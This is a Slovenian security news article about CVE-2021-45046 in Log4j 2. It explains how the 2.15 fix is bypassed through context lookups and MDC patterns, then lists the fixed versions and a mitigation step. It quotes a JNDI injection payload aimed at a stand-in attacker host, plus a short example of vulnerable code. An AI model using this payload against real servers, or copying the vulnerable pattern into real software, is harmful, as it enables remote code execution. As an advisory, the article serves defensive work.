V implementaciji iskanj JNDI v knjižnici Log4j 2 je bila odkrita nova ranljivost (CVE-2021-45046). Ta ranljivost še vedno obstaja kljub popravkom, dodanim v izdaji 2.15, in ne glede na uporabo varnostne nastavitve »log4j2.noFormatMsgLookup«. Ta težava vpliva predvsem na starejše različice Log4j 2, zaščitene z zastavico »noFormatMsgLookup«, saj omogoča obhod zaščite pred prejšnjo ranljivostjo (Log4Shell, CVE-2021-44228), kar omogoča izvajanje poljubne kode na strežniku. Za uporabnike različice 2.15 je izkoriščanje omejeno na povzročitev sesutja aplikacije zaradi izčrpanosti razpoložljivih virov.
Ranljivost se kaže le v sistemih, ki za beleženje uporabljajo poizvedbe za iskanje konteksta (Context Lookup), kot je ${ctx:loginId}, ali predloge MDC (Thread Context Map), kot so %X, %mdc in %MDC. Izkoriščanje je sestavljeno iz ustvarjanja pogojev za beleženje podatkov, ki vsebujejo zamenjave JNDI, ko aplikacija uporablja poizvedbe za iskanje konteksta ali predloge MDC, ki določajo pravila oblikovanja za beleženje izhoda.
Raziskovalci pri LunaSec so ugotovili, da se lahko ta ranljivost pri različicah Log4j pred različico 2.15 uporabi kot nov vektor napada za Log4Shell, kar vodi do izvajanja kode, če se pri beleženju uporabljajo izrazi ThreadContext, ki prejemajo zunanje podatke, ne glede na to, ali je za zaščito omogočena zastavica »noMsgFormatLookups« ali vzorec »%m{nolookups}«.

Obhod je sestavljen iz neposredne zamenjave "${jndi:ldap://attacker.com/a}" v izraz, pri čemer se uporabi vrednost vmesne spremenljivke, ki se uporablja v pravilih oblikovanja izhoda dnevnika. Če se na primer v izhodu dnevnika uporabi kontekstna poizvedba ${ctx:apiversion}, se napad lahko izvede tako, da se v vrednost, zapisano v spremenljivko apiversion, zamenja "${jndi:ldap://attacker.com/a}". Primer ranljive kode: appender.console.layout.pattern = ${ctx:apiversion} - %d{yyyy-MM-dd HH:mm:ss} %-5p %c{1}:%L - %m%n @GetMapping(«/») public String index(@RequestHeader(«X-Api-Version») String apiVersion) { // Vrednost glave HTTP "X-Api-Version" se posreduje ThreadContextu ThreadContext.put(«apiversion», apiVersion); // Pri izpisu v dnevnik bo zunanja vrednost apiversion obdelana z uporabo zamenjave ${ctx:apiversion} logger.info(«Prejeta zahteva za različico API-ja»); return «Pozdravljen, svet!»; }
V Log4j 2.15 je mogoče izkoristiti ranljivost za izvajanje napadov DoS pri posredovanju vrednosti ThreadContextu, ki povzročijo zanko obdelave predloge za oblikovanje izhoda.

Objavljeni sta bili posodobitvi 2.16 in 2.12.2 za ublažitev ranljivosti. V veji Log4j 2.16 je poleg popravkov, uvedenih v različici 2.15 in vezave poizvedb JNDI LDAP na »localhost«, funkcionalnost JNDI privzeto popolnoma onemogočena, podpora za vzorce zamenjave sporočil pa je odstranjena. Predlagana rešitev je odstranitev razreda JndiLookup iz poti razredov (npr. »zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class«).
Pojav popravkov v paketih lahko spremljate na straneh za distribucijo (Debian, Ubuntu, RHEL, SUSE, Fedora, Arch) in proizvajalci platform Java (GitHub, Docker, Oracle, vmWare, Broadcom in Amazon/AWS, Juniper, VMware, Cisco, IBM, Red Hat, MongoDB, Okta, SolarWinds, Symantec, McAfee, SonicWall, FortiGuard, Ubiquiti, F-Secure itd.).
Vir: opennet.ru
